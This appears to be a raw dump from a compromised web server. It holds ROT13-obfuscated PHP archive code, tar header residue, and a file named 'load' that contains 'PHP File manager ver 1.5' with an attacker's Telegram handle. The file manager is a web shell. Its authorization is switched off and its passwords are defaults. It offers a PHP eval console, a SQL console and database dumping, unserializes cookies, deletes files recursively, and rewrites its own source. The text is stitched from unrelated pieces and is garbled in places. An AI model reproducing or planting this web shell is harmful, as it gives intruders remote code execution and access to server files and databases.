						$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.$urnqre['svyranzr'];
						erghea snyfr;
					} 
				}
			} ryfr {
				vs (($qrfgvangvba = sbcra($urnqre['svyranzr'], 'jo')) == 0) {
					$guvf->reebef[] = __('Pnaabg jevgr gb svyr').' '.$urnqre['svyranzr'];
					erghea snyfr;
				} ryfr {
					$qrpe = sybbe($urnqre['fvmr']/512);
					sbe ($v = 0; $v < $qrpe; $v++) {
						$pbagrag = $guvf->ernqOybpx();
						sjevgr($qrfgvangvba, $pbagrag, 512);
					}
					vs (($urnqre['fvmr'] % 512) != 0) {
						$pbagrag = $guvf->ernqOybpx();
						sjevgr($qrfgvangvba, $pbagrag, ($urnqre['fvmr'] % 512));
					}
					spybfr($qrfgvangvba);
					gbhpu($urnqre['svyranzr'], $urnqre['gvzr']);
				}
				pyrnefgngpnpur();
				vs (svyrfvmr($urnqre['svyranzr']) != $urnqre['fvmr']) {
					$guvf->reebef[] = __('Fvmr bs svyr').' '.$urnqre['svyranzr'].' '.__('vf vapbeerpg');
					erghea snyfr;
				}
			}
			vs (($svyr_qve = qveanzr($urnqre['svyranzr'])) == $urnqre['svyranzr']) $svyr_qve = '';
			vs ((fhofge($urnqre['svyranzr'], 0, 1) == '/') && ($svyr_qve == '')) $svyr_qve = '/';
			$guvf->qvef[] = $svyr_qve;
			$guvf->svyrf[] = $urnqre['svyranzr'];
	
		}
		erghea gehr;
	}

	shapgvba qvePurpx($qve){
		$cnerag_qve = qveanzr($qve);

		vs ((@vf_qve($qve)) be ($qve == ''))
			erghea gehr;

		vs (($cnerag_qve != $qve) naq ($cnerag_qve != '') naq (!$guvf->qvePurpx($cnerag_qve)))
			erghea snyfr;

		vs (!zxqve($qve, 0777)){
			$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.$qve;
			erghea snyfr;
		}
		erghea gehr;
	}

	shapgvba ernqUrnqre($ovanelQngn, &$urnqre){
		vs (fgeyra($ovanelQngn)==0){
			$urnqre['svyranzr'] = '';
			erghea gehr;
		}

		vs (fgeyra($ovanelQngn) != 512){
			$urnqre['svyranzr'] = '';
			$guvf->__('Vainyvq oybpx fvmr').': '.fgeyra($ovanelQngn);
			erghea snyfr;
		}

		$purpxfhz = 0;
		sbe ($v = 0; $v < 148; $v++) $purpxfhz+=beq(fhofge($ovanelQngn, $v, 1));
		sbe ($v = 148; $v < 156; $v++) $purpxfhz += beq(' ');
		sbe ($v = 156; $v < 512; $v++) $purpxfhz+=beq(fhofge($ovanelQngn, $v, 1));

		$hacnpx_qngn = hacnpx('n100svyranzr/n8zbqr/n8hfre_vq/n8tebhc_vq/n12fvmr/n12gvzr/n8purpxfhz/n1glcrsynt/n100yvax/n6zntvp/n2irefvba/n32hanzr/n32tanzr/n8qriznwbe/n8qrizvabe', $ovanelQngn);

		$urnqre['purpxfhz'] = BpgQrp(gevz($hacnpx_qngn['purpxfhz']));
		vs ($urnqre['purpxfhz'] != $purpxfhz){
			$urnqre['svyranzr'] = '';
			vs (($purpxfhz == 256) && ($urnqre['purpxfhz'] == 0)) 	erghea gehr;
			$guvf->reebef[] = __('Reebe purpxfhz sbe svyr ').$hacnpx_qngn['svyranzr'];
			erghea snyfr;
		}

		vs (($urnqre['glcrsynt'] = $hacnpx_qngn['glcrsynt']) == '5')	$urnqre['fvmr'] = 0;
		$urnqre['svyranzr'] = gevz($hacnpx_qngn['svyranzr']);
		$urnqre['zbqr'] = BpgQrp(gevz($hacnpx_qngn['zbqr']));
		$urnqre['hfre_vq'] = BpgQrp(gevz($hacnpx_qngn['hfre_vq']));
		$urnqre['tebhc_vq'] = BpgQrp(gevz($hacnpx_qngn['tebhc_vq']));
		$urnqre['fvmr'] = BpgQrp(gevz($hacnpx_qngn['fvmr']));
		$urnqre['gvzr'] = BpgQrp(gevz($hacnpx_qngn['gvzr']));
		erghea gehr;
	}

	shapgvba jevgrUrnqre($svyranzr, $xrrc_svyranzr){
		$cnpxS = 'n100n8n8n8n12N12';
		$cnpxY = 'n1n100n6n2n32n32n8n8n155n12';
		vs (fgeyra($xrrc_svyranzr)<=0) $xrrc_svyranzr = $svyranzr;
		$svyranzr_ernql = $guvf->znxrTbbqCngu($xrrc_svyranzr);

		vs (fgeyra($svyranzr_ernql) > 99){							//jevgr ybat urnqre
		$qngnSvefg = cnpx($cnpxS, '././YbatYvax', 0, 0, 0, fcevags('%11f ', QrpBpg(fgeyra($svyranzr_ernql))), 0);
		$qngnYnfg = cnpx($cnpxY, 'Y', '', '', '', '', '', '', '', '', '');

        //  Pnyphyngr gur purpxfhz
		$purpxfhz = 0;
        //  Svefg cneg bs gur urnqre
		sbe ($v = 0; $v < 148; $v++)
			$purpxfhz += beq(fhofge($qngnSvefg, $v, 1));
        //  Vtaber gur purpxfhz inyhr naq ercynpr vg ol ' ' (fcnpr)
		sbe ($v = 148; $v < 156; $v++)
			$purpxfhz += beq(' ');
        //  Ynfg cneg bs gur urnqre
		sbe ($v = 156, $w=0; $v < 512; $v++, $w++)
			$purpxfhz += beq(fhofge($qngnYnfg, $w, 1));
        //  Jevgr gur svefg 148 olgrf bs gur urnqre va gur nepuvir
		$guvf->jevgrOybpx($qngnSvefg, 148);
        //  Jevgr gur pnyphyngrq purpxfhz
		$purpxfhz = fcevags('%6f ', QrpBpg($purpxfhz));
		$ovanelQngn = cnpx('n8', $purpxfhz);
		$guvf->jevgrOybpx($ovanelQngn, 8);
        //  Jevgr gur ynfg 356 olgrf bs gur urnqre va gur nepuvir
		$guvf->jevgrOybpx($qngnYnfg, 356);

		$gzc_svyranzr = $guvf->znxrTbbqCngu($svyranzr_ernql);

		$v = 0;
			juvyr (($ohssre = fhofge($gzc_svyranzr, (($v++)*512), 512)) != ''){
				$ovanelQngn = cnpx('n512', $ohssre);
				$guvf->jevgrOybpx($ovanelQngn);
			}
		erghea gehr;
		}
		$svyr_vasb = fgng($svyranzr);
		vs (@vf_qve($svyranzr)){
			$glcrsynt = '5';
			$fvmr = fcevags('%11f ', QrpBpg(0));
		} ryfr {
			$glcrsynt = '';
			pyrnefgngpnpur();
			$fvmr = fcevags('%11f ', QrpBpg(svyrfvmr($svyranzr)));
		}
		$qngnSvefg = cnpx($cnpxS, $svyranzr_ernql, fcevags('%6f ', QrpBpg(svyrcrezf($svyranzr))), fcevags('%6f ', QrpBpg($svyr_vasb[4])), fcevags('%6f ', QrpBpg($svyr_vasb[5])), $fvmr, fcevags('%11f', QrpBpg(svyrzgvzr($svyranzr))));
		$qngnYnfg = cnpx($cnpxY, $glcrsynt, '', '', '', '', '', '', '', '', '');
		$purpxfhz = 0;
		sbe ($v = 0; $v < 148; $v++) $purpxfhz += beq(fhofge($qngnSvefg, $v, 1));
		sbe ($v = 148; $v < 156; $v++) $purpxfhz += beq(' ');
		sbe ($v = 156, $w = 0; $v < 512; $v++, $w++) $purpxfhz += beq(fhofge($qngnYnfg, $w, 1));
		$guvf->jevgrOybpx($qngnSvefg, 148);
		$purpxfhz = fcevags('%6f ', QrpBpg($purpxfhz));
		$ovanelQngn = cnpx('n8', $purpxfhz);
		$guvf->jevgrOybpx($ovanelQngn, 8);
		$guvf->jevgrOybpx($qngnYnfg, 356);
		erghea gehr;
	}

	shapgvba bcraJevgr(){
		vs ($guvf->vfTmvccrq)
			$guvf->gzc_svyr = tmbcra($guvf->nepuvir_anzr, 'jo9s');
		ryfr
			$guvf->gzc_svyr = sbcra($guvf->nepuvir_anzr, 'jo');

		vs (!($guvf->gzc_svyr)){
			$guvf->reebef[] = __('Pnaabg jevgr gb svyr').' '.$guvf->nepuvir_anzr;
			erghea snyfr;
		}
		erghea gehr;
	}

	shapgvba ernqOybpx(){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
			vs ($guvf->vfTmvccrq)
				$oybpx = tmernq($guvf->gzc_svyr, 512);
			ryfr
				$oybpx = sernq($guvf->gzc_svyr, 512);
		} ryfr	$oybpx = '';

		erghea $oybpx;
	}

	shapgvba jevgrOybpx($qngn, $yratgu = 0){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
		
			vs ($yratgu === 0){
				vs ($guvf->vfTmvccrq)
					tmchgf($guvf->gzc_svyr, $qngn);
				ryfr
					schgf($guvf->gzc_svyr, $qngn);
			} ryfr {
				vs ($guvf->vfTmvccrq)
					tmchgf($guvf->gzc_svyr, $qngn, $yratgu);
				ryfr
					schgf($guvf->gzc_svyr, $qngn, $yratgu);
			}
		}
	}

	shapgvba pybfrGzcSvyr(){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
			vs ($guvf->vfTmvccrq)
				tmpybfr($guvf->gzc_svyr);
			ryfr
				spybfr($guvf->gzc_svyr);

			$guvf->gzc_svyr = 0;
		}
	}

	shapgvba znxrTbbqCngu($cngu){
		vs (fgeyra($cngu)>0){
			$cngu = fge_ercynpr('\\', '/', $cngu);
			$cnegCngu = rkcybqr('/', $cngu);
			$ryf = pbhag($cnegCngu)-1;
			sbe ($v = $ryf; $v>=0; $v--){
				vs ($cnegCngu[$v] == '.'){
                    //  Vtaber guvf qverpgbel
                } ryfrvs ($cnegCngu[$v] == '..'){
                    $v--;
                }
				ryfrvs (($cnegCngu[$v] == '') naq ($v!=$ryf) naq ($v!=0)){
                }	ryfr
					$erfhyg = $cnegCngu[$v].($v!=$ryf ? '/'.$erfhyg : '');
			}
		} ryfr $erfhyg = '';
		
		erghea $erfhyg;
	}
}
?>index.php.php.tar.gz000064400000000161150425251240010354 0ustar00���K
� @Q��
z*��z`�Ll�9h� ��gx'���b�~	J)��]��a�+�c4����$�c�&��K�d�L0��t})�C�u�ū��G.�_s�load000064400000240606150425251240005416 0ustar00eonuvbiuyevibycanpm'cwrnuvb348rb238 tnmqn8bytnnyb8qm0icrnubyuq iimpo3r32rnnnnnxalxjaa%00%01%0A">'><?php
/* PHP File manager ver 1.5 */
// @Nafisfuad1 -- telegrams
// Configuration — do not change manually
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
